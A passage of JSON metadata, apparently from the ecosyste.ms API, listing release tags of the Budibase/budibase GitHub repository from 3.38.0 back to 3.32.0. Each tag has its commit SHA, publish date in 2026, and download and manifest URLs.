v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.38.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.38.0/manifests"},{"name":"3.37.5","sha":"650c4030c585d5912aa901dead61ca497be56863","kind":"commit","published_at":"2026-05-07T06:20:19.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.37.5","html_url":"https://github.com/Budibase/budibase/releases/tag/3.37.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.37.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.37.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.37.5/manifests"},{"name":"3.37.4","sha":"ff8087cbe9a4ab8d018eb459b5a1f2c83cc9aea5","kind":"commit","published_at":"2026-05-05T13:50:57.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.37.4","html_url":"https://github.com/Budibase/budibase/releases/tag/3.37.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.37.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.37.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.37.4/manifests"},{"name":"3.37.3","sha":"edb38b9cdbb747afaaf22b01922c39941c3e0d0d","kind":"commit","published_at":"2026-05-04T06:54:54.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.37.3","html_url":"https://github.com/Budibase/budibase/releases/tag/3.37.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.37.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.37.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.37.3/manifests"},{"name":"3.37.2","sha":"f422ea342dce3d0cbc6884e6ade6961a097d1976","kind":"commit","published_at":"2026-04-30T06:59:53.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.37.2","html_url":"https://github.com/Budibase/budibase/releases/tag/3.37.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.37.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.37.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.37.2/manifests"},{"name":"3.37.1","sha":"1ad1e48622ddab478f6856a5364835bde0ffb3be","kind":"commit","published_at":"2026-04-29T06:45:51.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.37.1","html_url":"https://github.com/Budibase/budibase/releases/tag/3.37.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.37.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.37.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.37.1/manifests"},{"name":"3.37.0","sha":"402a80a2fa44f0efeff898ce00bab6eb3347d129","kind":"commit","published_at":"2026-04-28T08:39:11.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.37.0","html_url":"https://github.com/Budibase/budibase/releases/tag/3.37.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.37.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.37.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.37.0/manifests"},{"name":"3.36.5","sha":"8ddde3b1ae26125e6effb43e85bd4243cf7cf68e","kind":"commit","published_at":"2026-04-27T14:12:57.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.36.5","html_url":"https://github.com/Budibase/budibase/releases/tag/3.36.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.36.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.36.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.36.5/manifests"},{"name":"3.36.4","sha":"8f30dbab02e8a1020a563c2a60527422d4f6cb69","kind":"commit","published_at":"2026-04-27T10:36:06.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.36.4","html_url":"https://github.com/Budibase/budibase/releases/tag/3.36.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.36.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.36.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.36.4/manifests"},{"name":"3.36.3","sha":"ac9d4ce1fc143a5b7ad2ced958132ea092d370a9","kind":"commit","published_at":"2026-04-24T12:00:14.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.36.3","html_url":"https://github.com/Budibase/budibase/releases/tag/3.36.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.36.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.36.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.36.3/manifests"},{"name":"3.36.2","sha":"1bcafbb51efd92bf1c38bf2d64625791b69db362","kind":"commit","published_at":"2026-04-23T08:49:43.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.36.2","html_url":"https://github.com/Budibase/budibase/releases/tag/3.36.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.36.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.36.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.36.2/manifests"},{"name":"3.36.1","sha":"692a14ddc87999eb9ab98befb165a998d39d04ad","kind":"commit","published_at":"2026-04-22T07:02:40.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.36.1","html_url":"https://github.com/Budibase/budibase/releases/tag/3.36.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.36.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.36.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.36.1/manifests"},{"name":"3.35.10","sha":"b7aaf4fa4b347134704ba20ef56e6f023ff0a208","kind":"commit","published_at":"2026-04-21T07:09:41.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.35.10","html_url":"https://github.com/Budibase/budibase/releases/tag/3.35.10","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.35.10","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.35.10","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.35.10/manifests"},{"name":"3.35.9","sha":"87f9a5526583c8f608a6b8a599f40364b277c722","kind":"commit","published_at":"2026-04-17T14:04:21.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.35.9","html_url":"https://github.com/Budibase/budibase/releases/tag/3.35.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.35.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.35.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.35.9/manifests"},{"name":"3.35.8","sha":"d3a95c3ba721b756152b40a6d8ba910c7cc20aa4","kind":"commit","published_at":"2026-04-16T08:09:27.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.35.8","html_url":"https://github.com/Budibase/budibase/releases/tag/3.35.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.35.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.35.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.35.8/manifests"},{"name":"3.35.7","sha":"0bc153b008c40570248f390fc6d10bd09b67fcad","kind":"commit","published_at":"2026-04-14T13:08:56.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.35.7","html_url":"https://github.com/Budibase/budibase/releases/tag/3.35.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.35.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.35.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.35.7/manifests"},{"name":"3.35.6","sha":"dc72b0cb358c29b21f5dec93ae3570e6386e7875","kind":"commit","published_at":"2026-04-14T09:58:21.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.35.6","html_url":"https://github.com/Budibase/budibase/releases/tag/3.35.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.35.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.35.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.35.6/manifests"},{"name":"3.35.5","sha":"33fd47e4456e72de4d237eca6aed7e72822dc939","kind":"commit","published_at":"2026-04-13T12:16:15.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.35.5","html_url":"https://github.com/Budibase/budibase/releases/tag/3.35.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.35.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.35.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.35.5/manifests"},{"name":"3.35.4","sha":"9544623b51bfd756bef4826a9520a18f6116d986","kind":"commit","published_at":"2026-04-09T14:10:55.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.35.4","html_url":"https://github.com/Budibase/budibase/releases/tag/3.35.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.35.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.35.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.35.4/manifests"},{"name":"3.35.3","sha":"8f7e035a99afea48191d83376eaa61d004db201f","kind":"commit","published_at":"2026-04-08T06:30:15.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.35.3","html_url":"https://github.com/Budibase/budibase/releases/tag/3.35.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.35.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.35.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.35.3/manifests"},{"name":"3.35.2","sha":"cfc2dd94a778197fe95723d18f816a7da642c7f6","kind":"commit","published_at":"2026-04-02T07:28:22.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.35.2","html_url":"https://github.com/Budibase/budibase/releases/tag/3.35.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.35.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.35.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.35.2/manifests"},{"name":"3.35.1","sha":"7b4249c7b4db1147486d890dd512ec4046b3cbd8","kind":"commit","published_at":"2026-04-01T10:28:47.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.35.1","html_url":"https://github.com/Budibase/budibase/releases/tag/3.35.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.35.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.35.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.35.1/manifests"},{"name":"3.35.0","sha":"616374a91928c9724737d8dd2c62a81469bd8a34","kind":"commit","published_at":"2026-03-31T08:43:19.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.35.0","html_url":"https://github.com/Budibase/budibase/releases/tag/3.35.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.35.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.35.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.35.0/manifests"},{"name":"3.34.11","sha":"c6d6deacaf411450f6484bcda6b6a081d34299a5","kind":"commit","published_at":"2026-03-26T17:05:35.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.34.11","html_url":"https://github.com/Budibase/budibase/releases/tag/3.34.11","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.34.11","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.34.11","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.34.11/manifests"},{"name":"3.34.10","sha":"0a79c3a475ebdab9907ac5e251d707e20348facb","kind":"commit","published_at":"2026-03-26T08:51:44.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.34.10","html_url":"https://github.com/Budibase/budibase/releases/tag/3.34.10","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.34.10","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.34.10","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.34.10/manifests"},{"name":"3.34.9","sha":"ce96b728b8925715f2bc28cb227dd22bf840d9dd","kind":"commit","published_at":"2026-03-25T13:28:20.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.34.9","html_url":"https://github.com/Budibase/budibase/releases/tag/3.34.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.34.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.34.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.34.9/manifests"},{"name":"3.34.8","sha":"0318ed91d0946b2cc95472319dd2600f823e2a58","kind":"commit","published_at":"2026-03-25T09:28:15.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.34.8","html_url":"https://github.com/Budibase/budibase/releases/tag/3.34.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.34.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.34.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.34.8/manifests"},{"name":"3.34.7","sha":"a44ccc54444d8424116729eeb0c27a1573d3dc78","kind":"commit","published_at":"2026-03-25T08:34:25.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.34.7","html_url":"https://github.com/Budibase/budibase/releases/tag/3.34.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.34.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.34.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.34.7/manifests"},{"name":"3.34.6","sha":"f4c9bd1ec6ea2fdae4b2fa8e16a8cabab2f1b8bd","kind":"commit","published_at":"2026-03-23T14:53:46.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.34.6","html_url":"https://github.com/Budibase/budibase/releases/tag/3.34.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.34.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.34.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.34.6/manifests"},{"name":"3.34.5","sha":"bea7366d127a3fcbd5672c2748ee63abd2245d0e","kind":"commit","published_at":"2026-03-23T14:22:08.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.34.5","html_url":"https://github.com/Budibase/budibase/releases/tag/3.34.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.34.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.34.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.34.5/manifests"},{"name":"3.34.4","sha":"8a2a4e0c366d9ef3ed737a011511db49fdf8cc30","kind":"commit","published_at":"2026-03-20T09:36:45.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.34.4","html_url":"https://github.com/Budibase/budibase/releases/tag/3.34.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.34.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.34.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.34.4/manifests"},{"name":"3.34.3","sha":"6208938634c6eaaa7292e5f470bafc6b7c09b617","kind":"commit","published_at":"2026-03-19T11:26:23.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.34.3","html_url":"https://github.com/Budibase/budibase/releases/tag/3.34.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.34.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.34.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.34.3/manifests"},{"name":"3.34.2","sha":"5533f6c3273abdc31afb28b75594327c9a87af35","kind":"commit","published_at":"2026-03-18T13:33:25.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.34.2","html_url":"https://github.com/Budibase/budibase/releases/tag/3.34.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.34.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.34.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.34.2/manifests"},{"name":"3.34.1","sha":"da6b1c1d6f35d78d70a1e8cf21c8b41e92931161","kind":"commit","published_at":"2026-03-16T14:45:20.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.34.1","html_url":"https://github.com/Budibase/budibase/releases/tag/3.34.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.34.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.34.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.34.1/manifests"},{"name":"3.34.0","sha":"7d274199dae1169c065ffa12ce4ce211c83ccec2","kind":"commit","published_at":"2026-03-16T11:40:44.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.34.0","html_url":"https://github.com/Budibase/budibase/releases/tag/3.34.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.34.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.34.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.34.0/manifests"},{"name":"3.33.5","sha":"06083d4cfc43a2781403715075ac6584a585a751","kind":"commit","published_at":"2026-03-13T16:58:50.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.33.5","html_url":"https://github.com/Budibase/budibase/releases/tag/3.33.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.33.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.33.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.33.5/manifests"},{"name":"database-2.1.0","sha":"b0fc666143a8165a5e35873b2552de6104b990ef","kind":"commit","published_at":"2026-03-13T10:46:50.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/database-2.1.0","html_url":"https://github.com/Budibase/budibase/releases/tag/database-2.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@database-2.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/database-2.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/database-2.1.0/manifests"},{"name":"3.33.4","sha":"4e3ef7c3f6701ea6e3f152d3736d36a50ee9aa64","kind":"commit","published_at":"2026-03-13T10:43:14.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.33.4","html_url":"https://github.com/Budibase/budibase/releases/tag/3.33.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.33.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.33.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.33.4/manifests"},{"name":"3.33.3","sha":"34aa5295bcbf3d95fcbd589bdfac97dc6b5cedf9","kind":"commit","published_at":"2026-03-12T18:21:51.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.33.3","html_url":"https://github.com/Budibase/budibase/releases/tag/3.33.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.33.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.33.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.33.3/manifests"},{"name":"3.33.2","sha":"12a829a1b6727483408c319bfcd8df0d28a41766","kind":"commit","published_at":"2026-03-12T09:29:35.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.33.2","html_url":"https://github.com/Budibase/budibase/releases/tag/3.33.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.33.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.33.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.33.2/manifests"},{"name":"3.33.1","sha":"50923e420c3f7c84c295abd2aefac6f669852f2f","kind":"commit","published_at":"2026-03-11T17:14:00.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.33.1","html_url":"https://github.com/Budibase/budibase/releases/tag/3.33.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.33.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.33.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.33.1/manifests"},{"name":"3.33.0","sha":"77a1691c38598066d9db88066a7e80ff0df163c6","kind":"commit","published_at":"2026-03-11T13:48:12.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.33.0","html_url":"https://github.com/Budibase/budibase/releases/tag/3.33.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.33.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.33.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.33.0/manifests"},{"name":"3.32.6","sha":"d8809d26a39b57cc3a078a911d3dd190f5a060cf","kind":"commit","published_at":"2026-03-11T11:44:06.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.32.6","html_url":"https://github.com/Budibase/budibase/releases/tag/3.32.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.32.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.32.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.32.6/manifests"},{"name":"3.32.5","sha":"0496d2dd64204a08535680cbbd4e9fc8ebdc7632","kind":"commit","published_at":"2026-03-11T09:49:28.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.32.5","html_url":"https://github.com/Budibase/budibase/releases/tag/3.32.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.32.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.32.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.32.5/manifests"},{"name":"3.32.4","sha":"a4e20195b076d03a3db7f12beb1e08444a63b9cd","kind":"commit","published_at":"2026-03-10T08:25:07.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.32.4","html_url":"https://github.com/Budibase/budibase/releases/tag/3.32.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.32.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.32.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.32.4/manifests"},{"name":"3.32.3","sha":"c02768c0295771f0a5ff5eee137eae30a7ef620e","kind":"commit","published_at":"2026-03-06T18:09:47.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.32.3","html_url":"https://github.com/Budibase/budibase/releases/tag/3.32.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.32.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.32.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.32.3/manifests"},{"name":"3.32.2","sha":"776a9c039ecc27abd3e2186f9e2abf1e19aa94fc","kind":"commit","published_at":"2026-03-06T11:59:17.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.32.2","html_url":"https://github.com/Budibase/budibase/releases/tag/3.32.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.32.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.32.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.32.2/manifests"},{"name":"3.32.1","sha":"534c429a7bcce1ba8d690e471308a10c934878ea","kind":"commit","published_at":"2026-03-06T11:01:22.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.32.1","html_url":"https://github.com/Budibase/budibase/releases/tag/3.32.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.32.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.32.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.32.1/manifests"},{"name":"3.32.0","sha":"0ed33af777fb4f9e5f8a27f5e2505fe7f357d15c","kind":"commit","published_at"